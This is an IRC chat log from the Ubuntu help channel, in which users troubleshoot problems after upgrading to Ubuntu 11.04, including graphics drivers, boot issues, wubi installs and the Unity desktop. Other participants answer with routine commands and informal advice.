[05:25] <trueman> rahduke, that's a problem... For example i've got black screen after installed newest drivers
[05:25] <rahduke> u need brand new sticks, and even then its iffy
[05:26] <_pg_> rahduke, i have calibrated a hundred times over, but i cant figure out the dead zones. and it keeps messing with my trackpad so i need to unplug in cause the input goes crazy
[05:26] <rahduke> trueman: i cant even get thru my install
[05:26] <mikinanuq> HealingDruid: I'd reinstall... upgrades usually never go well IMHO...
[05:26] <Lesterwood> god
[05:26] <html_inprogress> how do i set up sharing to windows on a ubuntu  machine
[05:26] <Lesterwood> this 11.04 upgrade is taking forever
[05:26] <tanath> celthunder, /etc/X11/xorg.conf exists...
[05:26] <rahduke> _pg_: you need brand a brandnew controller, the sticks are loose and jscal is too sensitive
[05:26] <_pg_> html_inprogress, install samba
[05:26] <nzashadow> E: Type 'sudo' is not known on line 61 in source list /etc/apt/sources.list
[05:26] <aaron_wayne> bitplane, http://paste.ubuntu.com/601131/
[05:26] <rahduke> and even then its weak
[05:26] <nzashadow> can anyone help?
[05:26] <_pg_> rahduke, thats why i want to map some deadzones
[05:27] <HealingDruid> hmm...any solutions that are not so drastic though?
[05:27] <rahduke> they wont be any good on an old controller
[05:27] <trueman> 	
[05:27] <trueman> _pg_, have you tried acpi_osi=Linux in grub... it can helps with touchpad i think
[05:27] <tortoise> does this page load for you guys? http://novemberblue-.tumblr.com
[05:27] <rahduke> are u talking baout xbox360 controller?
[05:27] <_pg_> trueman, ?
[05:27] <tanath> nzashadow, sudo doesn't belong in your sources.list. it's not a script
[05:27] <_pg_> rahduke, yes
[05:27] <celthunder> tanath: ok can you check /etc/X11/xorg.conf.d/ see if you have a config there thats limiting your scrolling
[05:27] <nzashadow> how do I fix this?
[05:27] <celthunder> tanath: that's where synaptics allows you to limit that stuff anyway
[05:28] <rahduke> _pg_: yea man its never going to be "right"
[05:28] <mikinanuq> HealingDruid: I'd say try the upgrade but be prepared to reinstall..
[05:28] <trueman> _pg_, have tou tried this parametr in grub on load?
[05:28] <rahduke> i messed with jscal for HOURS
[05:28] <armor-64> does evrybody have problem with the ATI drivers in ubuntu 11.04?
[05:28] <rahduke> and never got it perfect
[05:28] <teknowill> html_inprogress: its a bit complezx
[05:28] <tanath> celthunder, don't have /etc/X11/xorg.conf.d/
[05:28] <_pg_> rahduke, you can map deadzones, i just cant figure it out
[05:28] <HealingDruid> mikinanuq, i started the upgrade but it keeps failign
[05:28] <_pg_> trueman, i dont think were on the same page sir
[05:28] <tanath> celthunder, isn't synaptics for touch pads?
[05:28] <mikinanuq> HealingDruid: on ubuntu there are instructions on upgrade. you just have to change the settings in the package manager to see the upgrade and do a "check" then upgrade
[05:28] <rahduke> _pg_: your not hearing me, even if u do map them they are not good enough
[05:29] <celthunder> tanath: yeah but doesn't hurt to check if they used the same config location (and other stuff goes in that dir too)
[05:29] <_pg_> rahduke, then map them larger? i mean thats the whole point of deadzones
[05:29] <celthunder> tanath: ok do you have a /etc/X11/xorg.conf
[05:29] <teknowill> html_inprogress: you need samba, or you can use ssh and sftp, do you need a drive letter or just get/put to folders?
[05:29] <tanath> celthunder, that's what i said...
[05:30] <tanath> celthunder, just the file. nothing else of similar name
[05:30] <Julie972> ok I have Grub showing up after upgrading (2.
[05:30] <mikinanuq> HealingDruid: oh, didn't know that. you may be able to recover from it somehow but at that point would you want to??
[05:30] <celthunder> tanath: ok can you pastebin your xorg.conf then
[05:30] <krakpot> hi, i'm having an odd issue, just upgraded ubuntu server from 10.10 -> 11.04, and after the loading screen I just see blinking cursor.  I have to press ALT+F1 or ALT+F2 to get my login screen... anyone else see this?
[05:30] <Julie972> 6.35.28 2.6.35.28 2.35.22
[05:30] <Cairo|Mac> I upgraded to Ubuntu 11.04 but samba4 had a problem updating so now when i turn my computer on i just get black and white stuff
[05:30] <Cairo|Mac> anyone know how to fix that/
[05:30] <Cairo|Mac> *?
[05:31] <amy_> bp0, yup, after doing a test/execute with flash-aid, worked like a charm again. Thanks for the tip :)
[05:31] <aaron_wayne> does anyone know how to fix grub with super_grub_disk?
[05:31] <tanath> celthunder, http://paste.ubuntu.com/601133/
[05:31] <mikinanuq> HealingDruid: I wouldn't want to continue with a half upgraded system that got botched.. you should still be able to recover your files with an install CD by running ubunt off the cd
[05:31] <Julie972> ok I have Grub showing up after upgrading (2.6.35.28 2.6.35.28 2.35.22). I cant do anything next (S or m) when I choose m and try sudo mountall, I get stucked. What should I do ? thks
[05:31] <tanath> celthunder, ignore the date thing on the right. that's from my terminal prompt
[05:31] <celthunder> Cairo|Mac: unless you're WM is on the samba drive it has nothing to do with samba that you're getting dropped to terminal
[05:31] <celthunder> tanath: ok np
[05:31] <aaron_wayne> http://paste.ubuntu.com/601131/
[05:31] <HealingDruid> mikinanuq, that's true
[05:31] <Cairo|Mac> celthunder: im not even being dropped to terminal
[05:32] <amy_> is there any Ubuntu installations that exclude X/graphical stuff?
[05:32] <Cairo|Mac> its just random white and black stuff
[05:32] <spikebike> amy_: ubuntu-server
[05:32] <Cairo|Mac> if it was terminal i would be fine
[05:32] <GuyCanada> hey guys, updates to 11.04 and now my function-F8 wont work to put up my hdmi. anyone know how to fix this
[05:32] <pfifo> !alternate | amy_
[05:32] <ubottu> amy_: The Alternate CD is a classic text-mode install CD. It supports a wider range of hardware than the !LiveCD, and can also be used as an upgrade CD. http://www.ubuntu.com/download/ubuntu/alternative-download#alternate - See also !minimal
[05:32] <Geet> hello
[05:32] <_pg_> amy_, server, minimial
[05:32] <celthunder> Cairo|Mac: then swifch to a terminal and fix you video drivers
[05:32] <tanath> celthunder, i don't think ubuntu makes much use of xorg.conf anymore
[05:32] <Julie972> is the alternate cd bootable ?
[05:32] <rahduke> _pg_: as you use the remote the sticks get loose and the deadspots kinda move around
[05:32] <rahduke> so old controllers really dont work well
[05:32] <pfifo> Julie972, yes
[05:32] <Cairo|Mac> celthunder: how do i get to a terminal?
[05:33] <Geet> can anybody recommend me better linux for laptops
[05:33] <Geet> ?
[05:33] <Julie972> cos It doesntboot by me :(
[05:33] <celthunder> alt f1 / f2
[05:33] <celthunder> Geet: thats preference i prefer arch to anything else but others will give you different answers
[05:33] <_pg_> rahduke, so i will map them huge lol it doesnt matter once i can map some deadzones ill figure it out from there
[05:33] <celthunder> Cairo|Mac: alt f1 f2 f3 etc
[05:33] <mikinanuq> GuyCanada: hmm check the keyboard maps, you may have a generic default set.. if you get one close to your laptop it may work.
[05:33] <Cairo|Mac> celthunder: thats it thanks
[05:33] <root_Jocker> Debian
[05:33] <tanath> Cairo|Mac, in what context? ctrl+alt+t in X, or ctrl+alt+f1 etc if not
[05:34] <rahduke> _pg_: ok go for it!
[05:34] <pfifo> Geet, linu and laptops have never gotten along very well, if you leave ubuntu expect to gain an intimate knowledge of your hardware and the software that runs that hardware.
[05:34] <mikinanuq> Geet: is it an old laptop?
[05:34] <Geet> no
[05:34] <GuyCanada> mikinanuq: where do i find that? it worked before the update why would it change
[05:35] <[thor]> geh... lack of nvidia drivers in 11.04 is killing me
[05:35] <Geet> just one year old...and I m having issues like less battery backup...heat ...fan noise with ubuntu
[05:35] <spikebike> [thor]: works for me
[05:35] <GuyCanada> oh perhaps its the lack of nvidia driver thats killing my hdmi out?
[05:35] <amy_> could I do a net install for server/minimal instead of using a burned CD?
[05:35] <bizerklurker> mikinanuq er... I can't log in with root...
[05:35] <_pg_> hes not on board
[05:35] <bizerklurker> mikinanuq after ctrl alt f1
[05:35] <GuyCanada> greet: that sounds liek hardware problems not software
[05:35] <amy_> Im thinking I'll swap my FreeBSD machine to Ubuntu server or minimal.
[05:36] <tanath> spikebike, out of curiosity, what card?
[05:36] <bp0> amy_, you might also like caffeine, a little applet thing that disables the screensaver while flash video is playing...  https://launchpad.net/caffeine
[05:36] <mikinanuq> GuyCanada: keyboard>layout>keyboard model
[05:36] <spikebike> tanath: 8600gt I believe
[05:36] <GuyCanada> mikinanuq: thanks
[05:36] <amy_> bp0, also a good idea. I was considering disabling my screensaver altogether.
[05:36] <Julie972> ok I have Grub showing up after upgrading (2.6.35.28 2.6.35.28 2.35.22). I cant do anything next (S or m) when I choose m and try sudo mountall, I get stucked. What should I do ? thks
[05:36] <spikebike> nVidia Corporation G84 [GeForce 8600 GT]
[05:36] <bizerklurker> mikinanuq I already created a new unix password
[05:36] <[thor]> spikebike: i have 270.41.03 working correctly in 10.10, but i see no drivers listed in 11.04
[05:36] <extraclassic> amy_: ubuntu server will install pretty fast with a usb stick
[05:37] <ZykoticK9> spikebike, i didn't think it was possible to use proprietary Nvidia with 11.04
[05:37] <bizerklurker> mikinanuq I don't know why I can't log in as root
[05:37] <bp0> amy_, netinstall is not a very good idea right now, wait a few days maybe... the repos are very slow
[05:37] <celthunder> tanath: add an entry for your mouse
[05:37] <mikinanuq> bizerklurker: yeah that's odd
[05:37] <spikebike> ZykoticK9: I ran nvidia-settings and it happily ran
[05:37] <tanath> celthunder, shouldn't need one. worked before, then upgrades, then no worky
[05:37] <Geet> I m using Dell studio 15....and my laptop is having heating problems with ubuntu
[05:37] <html_inprogress> teknowill,  i just want to send a 5gb-10 files  and  the internet on windows is like dail up  but not on linux it fast
[05:38] <krakpot> hi, i'm having an odd issue, just upgraded ubuntu server from 10.10 -> 11.04, and after the loading screen I just see blinking cursor.  I have to press ALT+F1 or ALT+F2 to get my login screen... anyone else see this?
[05:38] <bizerklurker> mikinanuq do I just type sudo cd /home? I did that. I types in the password and it said it was wrong.
[05:38] <spikebike> aptitude show nvidia-current
[05:38] <spikebike> ...
[05:38] <tanath> celthunder, but was too busy to file bug report 'til now, and was hoping it'd be fixed
[05:38] <spikebike> Version: 270.41.06-0ubuntu1
[05:38] <Julie972> ok I have Grub showing up after upgrading (2.6.35.28 2.6.35.28 2.35.22). I cant do anything next (S or m) when I choose m and try sudo mountall, I get stucked. What should I do ? thks
[05:38] <mikinanuq> bizerklurker: are you sure the password you set is correct? try going through the steps we talked about before to make sure...  "sudo su" > "passwd" > enter new password
[05:38] <GuyCanada> mikinanuq: hey, changed my keyboard to the layout and still no use. any other advice?
[05:38] <celthunder> tanath: it's probablty not a bug...just add an entry in your xorg.conf for your mouse
[05:38] <amy_> bp0, thumbdrive install instead?
[05:38] <celthunder> krakpot: is gdm loaded?
[05:38] <amy_> I dont think I have any spare CD's sitting about
[05:39] <tanath> celthunder, it worked for a long time before without any manual interference from me
[05:39] <bp0> probably better
[05:39] <celthunder> krakpot: or some other startup manager switch to a terminal and telinit 3 then startx
[05:39] <tanath> celthunder, even after my wipe and reinstall of 10.10... or was it 10.01
[05:39] <tanath> celthunder, *10.04
[05:39] <mikinanuq> GuyCanada: hmm not sure, is it nvidia?
[05:39] <jla> no x after natty upgrade, nvidia kernel module missing. I need help installing the module or reverting to a free driver that gets gdm giong.
[05:39] <GuyCanada> mikinanuq: it is, i see others are having issues?
[05:39] <celthunder> tanath: ok
[05:39] <bp0> amy_, but I upgraded with thumbdrive and it still took an hour... had to fetch 30 packages yet, I guess
[05:40] <allowoverride> can someone take a look at this pastebin, trying to load ubuntu 11.04 on a laptop. this is the wubi-rev211.log  http://pastebin.com/VmSqL6EG
[05:40] <glaceman> im currently running ubuntu 10.10 how do i upgrade to 11.04 ?
[05:40] <mikinanuq> GuyCanada: I have to connect hdmi before I turn the pc on for it to work. can't do it hot...
[05:40] <celthunder> tanath: then it could be evdev the kernel or any number of things
[05:40] <celthunder> mikinanuq: yes you can
[05:40] <bizerklurker> I just logged out of nowhere
[05:40] <GuyCanada> interesting
[05:40] <krakpot> celthunder: not sure what GDM is, how can I check?
[05:40] <spikebike> glaceman: start with apt-get update; apt-get upgrade
[05:40] <celthunder> mikinanuq: randr
[05:40] <bp0> gaceman, update manager will give you a button to press, but you might not want to
[05:40] <ManOfTheTuxWorld> I just installed kubuntu 11.04 on virtualbox and the guest additions are not worrking
[05:40] <bizerklurker> mikinanuq sorry it logged me out out of nowhere.
[05:40] <GuyCanada> mikinanuq: interesting. ill try that, is that just since 11.04?
[05:40] <bizerklurker> mikinanuq you said sudo su.... what?
[05:40] <glaceman> spikebike: then what after this ?
[05:40] <celthunder> mikinanuq: try xrandr to load your hdmi after booting
[05:41] <celthunder> krakpot: go to a terminal telinit 3 then type startx
[05:41] <mikinanuq> celthunder: ok will try.. I've always done it that way *shhrug*
[05:41] <tanath> celthunder, so then back to my original question... how do i figure out what package to file a bug report on?
[05:41] <celthunder> krakpot: what happens?
[05:41] <ManOfTheTuxWorld> I just installed kubuntu 11.04 on virtualbox and the guest additions are not worrking
[05:41] <spikebike> !upgrade
[05:41] <ZykoticK9> ManOfTheTuxWorld, you might want to ask in #vbox, when I tried 11.04 in VBox guest additions didn't work either.  Good luck.
[05:41] <ubottu> For upgrading, see the instructions at https://help.ubuntu.com/community/UpgradeNotes - see also http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[05:41] <Julie972> bouhahahahahahahahahaaaaaaaaaaaaaaaaaaa smone could gimme an answer please ?
[05:41] <pfifo> jla, try `sudo apt-get install nvidia-current`
[05:42] <spikebike> ah20:05 < ubottu> For upgrading, see the instructions at  https://help.ubuntu.com/community/UpgradeNotes - see also  http://www.ubuntu.com/desktop/get-ubuntu/upgrade
[05:42] <spikebike> oh heh the bot is way slow
[05:42] <mikinanuq> GuyCanada: I've always done it that way. just works best for me.. I assume it's something in the BIOS
[05:42] <celthunder> Julie972: those aren't commands you run in grub
[05:42] <allowoverride> im trying to install ubuntu with in windows xp. can someone look at my wubi log? http://pastebin.com/VmSqL6EG give me some suggestions to dual boot this box. thanks
[05:42] <celthunder> Julie972: so they should fail
[05:42] <Julie972> after grub
[05:42] <Julie972> ubuntu says can mount /
[05:42] <Viking667> really quick question about removing a set of packages at once - I put package names into a file with lines like "package   purge", and now I'm trying to get dpkg to remove all of those package names. What command should I be telling dpkg to use?
[05:42] <krakpot> celthunder: telinit 3 works, but statx is not installed I need to install xinit
[05:42] <bizerklurker> mikinanuq I kind of lost you there
[05:42] <Julie972> Ishloud choose s or m
[05:42] <Julie972> i hoose m and then
[05:42] <mikinanuq> bizerklurker: yeah, scroll up. it looks like you didn't reset your root password properly.. I put the instructions back up
[05:42] <Julie972> sudo mountall
[05:43] <celthunder> krakpot: so install it
[05:43] <mikinanuq> bizerklurker: I'll paste again hold a sec
[05:43] <GuyCanada> mikinanuq: alright thanks ill try that. probably be back in a few
[05:43] <Julie972> and then (epic)fail
[05:43] <Viking667> I tried "cat removethese | dpkg --set-selections" but it didn't seem to do anything, and returned in a couple of seconds.
[05:43] <mikinanuq> bizerklurker: are you sure the password you set is correct? try going through the steps we talked about before to make sure...  "sudo su" > "passwd" > enter new password
[05:43] <bizerklurker> mikinanuq sorry to bother... thanks you
[05:43] <tucemiux> !java
[05:43] <ubottu> To install a Java runtime on Ubuntu on 10.04 LTS and newer, see http://tinyurl.com/2ffg7cc -  For the Sun Java products and browser plugin, search for the sun-java6- packages in the !partner repository on Lucid (which must be enabled), or !multiverse repository on older releases.
[05:43] <jla> pfifo: I have, it says nvidia-173 is auto
[05:43] <krakpot> celthunder: ... installing xinit
[05:44] <pakhair> anyone use openerp?
[05:44] <beoyndcr> hello
[05:44] <pakhair> any specific way to view all the signin and sign out in a single dashboard???
[05:44] <razz1> there is a stream.yuv file in my home drive, I did not save any file, not sure how it came to be there? any help
[05:45] <pakhair> :|
[05:45] <beoyndcr> I just installed 11.04.... is there a reason why it takes 2 mins and 5 seconds to boot? I never had any problems with 10.10
[05:45] <tanath> razz1, can figure out what you were doing at that time from time stamp?
[05:45] <allowoverride> beoyndcr: just came out, more bloat
[05:46] <spikebike> beoyndcr: the one every 180 days fsck?
[05:46] <beoyndcr> Yhea i but going from 20 sec boot to 2 min boot is alot of bloat
[05:46] <razz1> tanath: this is from 29 sep 2010, have not clue, google says its a video file?
[05:46] <tanath> razz1, could also check browser history and other things for that time
[05:46] <Flynsarmy> Anyone else experiencing an issue in natty (classic) where apps dont get their sys tray icons? had to start vlc up 3 times eralier for its icon to appear - this time i had to do it about 7 times
[05:46] <pfifo> beoyndcr, is this consistant across all boots?
[05:47] <tanath> razz1, ah, so it's showing its original creation time instead
[05:47] <allowoverride> spikebike: i think the default is 30 days ;)
[05:47] <beoyndcr> yes just for 11.04
[05:47] <leftist> what should i use to burn a cd with the source being an mp3 format?
[05:47] <beoyndcr> i just timed it twice
[05:47] <beoyndcr> in a row
[05:47] <tanath> razz1, check browser download history and such?
[05:47] <pfifo> beoyndcr, whats it spending the extra time doing?
[05:47] <lampliter> I wondering about the stability of wubi with Windows 7-64? The last time I tried it was with Windows 7-32 and it did not go well
[05:47] <Artarian> i swear to god
[05:47] <bp0> leftist, brasero?
[05:47] <Artarian> someone at ubuntu must fix it
[05:48] <beoyndcr> what can i do to show what it is doing?
[05:48] <tanath> razz1, didn't watch any vids that might have saved the stream? maybe have a vid player crash and leave something behind?
[05:48] <lampliter> I ended up with extra loader entries in the Windows boot loader
[05:48] <Artarian> this 11.04 version.....
[05:48] <byomkeshbakshi> hi..I am installing ubuntu..I am choosing manual installation..on next page I am shown \dev\sda1 52427\50931 \dev\sda5 52427\3221 \dev\sda6 215206\37545(used)..so I have to choose sda5..its the empty drive on my pc..then what? I need to do edit partion and give size for /,swap and /home?
[05:48] <bp0> wubi is a bad idea, imo
[05:48] <leftist> it will convert mp3 to raw on the fly bp0?
[05:48] <allowoverride> bp0: oh
[05:48] <spikebike> allowoverride: nah, it's 180 ish
[05:48] <allowoverride> bp0: im not able to do it otherwise though... trust me
[05:48] <spikebike> (by default)
[05:48] <lampliter> okay so it means either run virtual machine or dual-boot and given that speech recognition doesn't work in Linux, it's virtual machine. :-)
[05:48] <leftist> let me give it a fly
[05:48] <antiphysicist> hi: when I launch an application eg. firefox from the terminal, the terminal won't let me enter any other commands until i close the application, when I close the application it reads through anything I've written and tries to execute that, I have been messing around trying to learn bash scripts and have broken something
[05:48] <allowoverride> spikebike: what file is that setting in? i want to check mine
[05:49] <beoyndcr> pfifo it sits at a redish screen is there a way to show what modules are loading during the entire boot process
[05:49] <bp0> leftist, yes, allowoverride, what?
[05:49] <spikebike> allowoverride: try man tunefs
[05:49] <celthunder> antiphysicist: duh...it's supposed to do that
[05:49] <Flynsarmy> antiphysicist: firefox &
[05:49] <allowoverride> nah, no man pages, ill just look at the config
[05:49] <allowoverride> ;)
[05:49] <celthunder> antiphysicist: if you want to use your terminal more than one app at a time add an anmperstnd after the command
[05:49] <arkanabar> it's been a good long while since I tried this ... how do I upgrade installed system from 10.10 to 11.04?
[05:49] <leftist> bp0 ok
[05:49] <leftist> thanks
[05:49] <leftist> brb
[05:49] <spikebike> allowoverride: it's not in the file it's part of the file system metadata
[05:49] <krakpot> celthunder: ok I installed xinit and when I type startx I get a GUI.  My issue still remain, when the Server starts up, I see the 11.04 loading screen and then just a blinking cursor.  I have to hit ALT+F! just to see the login prompt, then once I log in I can do the startx
[05:49] <allowoverride> spikebike: how did you know its 180
[05:49] <jla> pfifo: ah, it's skipping the module build, says no kernel source. looking for build depends command.
[05:50] <spikebike> allowoverride: it tells you when it triggers, I've been doing linux for awhile
[05:50] <allowoverride> spikebike: im pretty sure i have changed that setting b4 last year, just dont remember the file name
[05:50] <lampliter> any reason to use 64 over 32 bit?
[05:50] <pfifo> beoyndcr, i think you can press Fv at boot to disable the splash, or you can remove "quiet splash" from the kernel line
[05:50] <celthunder> krakpot: so install a login manager like gdm kdm slim whatever
[05:50] <spikebike> allowoverride: it's not a file
[05:50] <allowoverride> spikebike: thats nice, im new to linux
[05:50] <beoyndcr> f4
[05:50] <allowoverride> ok,, brb ill find out, thanks
[05:50] <pfifo> jla, sudo apt-get install linux-sources
[05:50] <beoyndcr> ?
[05:50] <ZykoticK9> lampliter, faster in most areas, supports more ram
[05:50] <lampliter> okay. I give it a go
[05:50] <beoyndcr> pfifo f4
[05:50] <spikebike> tune2fs -i interval-between-checks
[05:50] <pfifo> beoyndcr, F2 (not Fv)
[05:50] <beoyndcr> ok
[05:51] <beoyndcr> thanks pfifo
[05:51] <lampliter> the last time I ran 64 was on an AMD machine I had for my wife and stability was not great. That was about 12 to 18 months ago
[05:51] <beoyndcr> Ill be back in a few
[05:51] <allowoverride> spikebike:  first of all, there is no man tunefs, maybe tune2fs though, your credentials are dwindling
[05:51] <allowoverride> brb
[05:51] <krakpot> celthunder: ok I will give that a shot, thanks, never knew login managers existed.  i am such a n00b
[05:51] <spikebike> allowoverride: ya I mentioned that avoe
[05:51] <lampliter> on the other hand, all she runs his flash because all she does is Facebook and Thunderbird
[05:51] <ZykoticK9> lampliter, little has changed with 64bits in the last year...
[05:51] <spikebike> spikebike: some ragging on me and read what I type
[05:51] <lampliter> okay well I can always back down to 32 bit if I need to
[05:51] <allowoverride> yah, now i remember it a bit, i think its a cmd that you make the change in.
[05:52] <allowoverride> been a while
[05:52] <pfifo> allowoverride, with 64 bit, chromium, flash worked out of the box
[05:52] <arkanabar> lampliter, you can get a PAE kernel to support extra ram.
[05:52] <allowoverride> pfifo: ?
[05:52] <Flynsarmy> Anyone else experiencing an issue in natty (classic) where apps dont get their sys tray icons? had to start vlc up 3 times eralier for its icon to appear - this time i had to do it about 7 times
[05:52] <lampliter> which is probably the way to go.. Thanks for the feedback.
[05:52] <pfifo> lampliter, with 64 bit, chromium, flash worked out of the box
[05:52] <pfifo> allowoverride, sorry
[05:52] <allowoverride> this is an old laptop im trying to load... not working with flash, but a flash usb ;)
[05:52] <allowoverride> no worries
[05:53] <allowoverride> im trying to install ubuntu with in windows xp. can someone look at my wubi log? http://pastebin.com/VmSqL6EG give me some suggestions to dual boot this box. thanks
[05:53] <beoyndcr> hum
[05:53] <celthunder> krakpot: lol ....you need one if you want to satrt x automatically
[05:53] <arkanabar> how do I upgrade installed system from 10.10 to 11.04?
[05:53] <Sirkill> oh my god this is frustrating
[05:53] <Sirkill> how do i downgrade back to 10.10
[05:54] <LAcan> any thoughts on how 11.04 is gonna perfrom on 2gugs of ram?
[05:54] <FireAndIce> if you really want to try ubuntu, just boot the livecd
[05:54] <sebsebseb> !downgrade | Sirkill
[05:54] <ubottu> Sirkill: Attempting to downgrade to an older Ubuntu version is explicitly not supported and may break your system.
[05:54] <beoyndcr> now why whould it take that long two times in a row but the third time it boots under 20 seconds....
[05:54] <allowoverride> Sirkill: becareful
[05:54] <Sirkill> argh
[05:54] <Viking667> LAcan: should be okay.
[05:54] <sebsebseb> Sirkill: so yep clean install is  how really
[05:54] <beoyndcr> any ways thanks guys
[05:54] <arkanabar> Sirkill: maybe try lxde?
[05:54] <Sirkill> i dislike this new 10.10
[05:54] <Sirkill> i mean 11.04
[05:54] <Sirkill> actually
[05:54] <pfifo> beoyndcr, first time startup extras
[05:54] <sebsebseb> Sirkill: ok :)
[05:54] <LAcan> Viking667, what size swap should I use?
[05:54] <allowoverride> 10.10 is fine for me, however, mileage may very ;)
[05:54] <jla> pfifo: know why nvida-173 only depends on the headers then, or why the source is needed? seems buggy.
[05:54] <FireAndIce> LAcan: It will perform spectacularly
[05:54] <Sirkill> it runs exactly the same as 10.10 i want it to do something different
[05:54] <arkanabar> Sirkill: my guess is that it's Unity you don't like, right?
[05:54] <allowoverride> im not even going to 11.04 myself for at least a month
[05:55] <Viking667> LAcan: that, I can't tell you, because I don't know.
[05:55] <beoyndcr> also right before i just did the last reboot everything way laggy
[05:55] <krakpot> celthunder: well the thing is I don't want to start xserver, I am happy with CLI its my webserver.  I just want to see the loging prompt without having to press ALT+F1 this worked in 10.10
[05:55] <Sirkill> i actually cant get unity to start working
[05:55] <Sirkill> doesnt turn on
[05:55] <Sirkill> LOL
[05:55] <beoyndcr> now its smooth
[05:55] <Sirkill> and also it rearanged all of my stuff
[05:55] <mikinanuq> allowoverride: that pastebin didn't work
[05:55] <celthunder> krakpot: so add a 3 in grub to boot to terminal mode
[05:55] <Sirkill> and downloaded firefox 4
[05:55] <arkanabar> Sirkill: reason enough not to like it.  I like & use lxde on Ubuntu.
[05:55] <allowoverride> mikinanuq: thanks,ill fix that now
[05:55] <allowoverride> br
[05:55] <sebsebseb> Sirkill: yep Firefox 4 is default in 11.04
[05:55] <beoyndcr> what are the thoughts on the unity?
[05:55] <Sirkill> i hate firefox 4 and deliberately avoided downloading it
[05:55] <celthunder> krakpot: then you'll boot to init 3
[05:55] <yuskhanzab> something wrong with my ubuntu, i cant play dota(warcraft) in wine properly because of the keyboard detect something in desktop. ive been configure it and nothing happen. can someone pls help me how to???? when i open the game and press the keyboard key, it detect like something search word(dunno what is it). it appear after i upgrade to natty. pls help me to disable that search word in desktop.
[05:55] <Flynsarmy> Sirkill: nvidia proprietry graphics?
[05:55] <Sirkill> yergh
[05:56] <Sirkill> i;m ona vm
[05:56] <a7i3n> Tried nattie in a VM couldn't get Unity to work either...
[05:56] <Sirkill> on a vm
[05:56] <Sirkill> fucking
[05:56] <Sirkill> i'm on a vm
[05:56] <yuskhanzab> im using the classic ubuntu
[05:56] <FloodBot1> Sirkill: Please don't flood; use http://paste.ubuntu.com to paste; don't use Enter as punctuation.
[05:56] <Flynsarmy> Sirkill: VM has no 3D so no unity
[05:56] <sebsebseb> Sirkill: http://www.theopensourcerer.com/2011/04/21/ubuntu-natty-in-virtualbox-with-unity/
[05:56] <sebsebseb> Sirkill: v
[05:56] <pfifo> jla, the kernel module is going to need the kernel headers... I dont even think i can explain why... all the functions the nvidia driver is going to use, are defined in the kernel headers, without them it would be like handing a blind guy a gun.
[05:56] <Sirkill> AAAAA
[05:56] <leftist> didnt realize brasaro was so slick
[05:56] <Sirkill> i also lost my tools
[05:56] <leftist> thanks
[05:56] <Sirkill> vmware tools
[05:56] <a7i3n> I'm using Xbuntu on a VM now... it's wonderful...
[05:56] <Sirkill> i would really like to go back to 19.19
[05:56] <Sirkill> 10.10
[05:56] <allowoverride> im trying to install ubuntu with in windows xp. can someone look at my wubi log? http://pastebin.com/nqiu6HBh give me some suggestions to dual boot this box. thanks
[05:56] <mikinanuq> beoyndcr: it's difficult to get used to and not intuitive.. I've been using it all day today and finally I'm getting used to it.
[05:56] <yuskhanzab> something wrong with my ubuntu, i cant play dota(warcraft) in wine properly because of the keyboard detect something in desktop. ive been configure it and nothing happen. can someone pls help me how to???? when i open the game and press the keyboard key, it detect like something search word(dunno what is it). it appear after i upgrade to natty. pls help me to disable that search word in desktop. im using classic ubuntu right now
[05:56] <Sirkill> a7i3n hmm
[05:57] <beoyndcr> my cuz just went back to 10.10
[05:57] <allowoverride> yep pastebin added a new capcha lol
[05:57] <jla> pfifo: i understand needing the headers, it's nvidia-173 needing kernel-source that seems odd and not depending on it that seems buggy
[05:57] <Sirkill> beoyndcr how to do this
[05:57] <sebsebseb> Sirkill: well make a new vm of 1.10 then I guess?
[05:57] <LAcan> any way to use gnome in 11.04 or should i just suck it up an use unity?
[05:57] <Sirkill> arght thats a bitch
[05:57] <spikebike> LAcan: either
[05:57] <mikinanuq> beoyndcr: basically you can't scroll down menu like before. You have to type in what you need and then click on teh icon or type enough so that you can press enter and it will launch the right program
[05:57] <Sirkill> i;d rather just install firefox 3.6
[05:57] <Sirkill> how to do this
[05:57] <beoyndcr> mikinanuq I am trying hard to like it
[05:57] <spikebike> unity IMO is reasonable, but a big change
[05:57] <Flynsarmy> LAcan: on the login screen select gnome classic down the bottom
[05:57] <allowoverride> mikinanuq: i think squashfs is the culprit, but i dont know howto fix that...
[05:58] <celthunder> LAcan: you can install gnome if you want
[05:58] <LAcan> is unity better somehow or why the change?
[05:58] <pfifo> jla, maybe its a packaging mismatch, not that big of a bug and its probbally been reported, but if you want you can check launchpad when it cools down
[05:58] <allowoverride> mikinanuq: i also have a an ubuntu installer error, on my screen on that box
[05:58] <mikinanuq> beoyndcr: get used to pressing the windows key a lot...
[05:58] <arkanabar> LAcan: may I suggest lxde?  It works for me.
[05:58] <alpha255> anyone got unity 3d working on a lenovo t61p?
[05:58] <celthunder> LAcan: and to answer your question on swap ...depends on your ram usage and how much you have..if you have 20gb and you on average use one...don't make a swap dir
[05:58] <alpha255> the laptop wasn't plugged in when i did the install
[05:58] <Flynsarmy> LAcan: it's DEBAtABLY better if youre on a netbook. otherwise there's no reason to use it
[05:58] <vibhav> <NyvenZA> sudo apt-get install unity-2d
[05:58] <truepurple> Can anyone help me with a problem installing a ATI radeon driver?
[05:58] <mikinanuq> allowoverride: where is the good pastebin of the log?
[05:58] <LAcan> arkanabar, id just install lubuntu if i wanted that :)
[05:58] <allowoverride> mikinanuq: says permission denied, however, im logged in with admin perms on xp. odd
[05:58] <allowoverride> http://pastebin.com/nqiu6HBh
[05:58] <byomkeshbakshi>  hi..I am installing ubuntu..I am choosing manual installation..on next page I am shown \dev\sda1 52427\50931 \dev\sda5 52427\3221 \dev\sda6 215206\37545(used)..so I have to choose sda5..its the empty drive on my pc..then what? I need to do edit partion and give size for /,swap and /home?
[05:58] <beoyndcr> mikinanuq: Wow thanks did not know they made use of the super key.
[05:59] <yuskhanzab> is there anybody can help me
[05:59] <Roasted> Is there ANY customizable settings for Unity 2D? At least on 3D I can make the bar auto hide and change icon sizes. Can I not do this in Unity 2D?
[05:59] <alpha255> that is cool
[05:59] <vibhav> <truepurple> Tehre are open source drivers
[05:59] <alpha255> super key
[05:59] <allowoverride> mikinanuq:  yep that links works
[05:59] <yell0w> has anyone in here successfully used fglrx for ati with -pae kernels ?
[05:59] <arkanabar> LAcan: that's what I did.  it's gtk, runs the apps natively.  YOu can keep most of your favorite gnome apps.
[05:59] <beoyndcr> Why is it called the super key it should be called the gimp key
[06:00] <LAcan> lololol
[06:00] <mikinanuq> allowoverride: holy crackers batman!! what line are you talking about?
[06:00] <Flynsarmy> Roasted: i pressed teh ubuntu button at the top left, typed unity, discovered a little window with 2 checkboxes that for some retarded reason weren't linked to the Appearance settings. that was all the customisation i could find lol
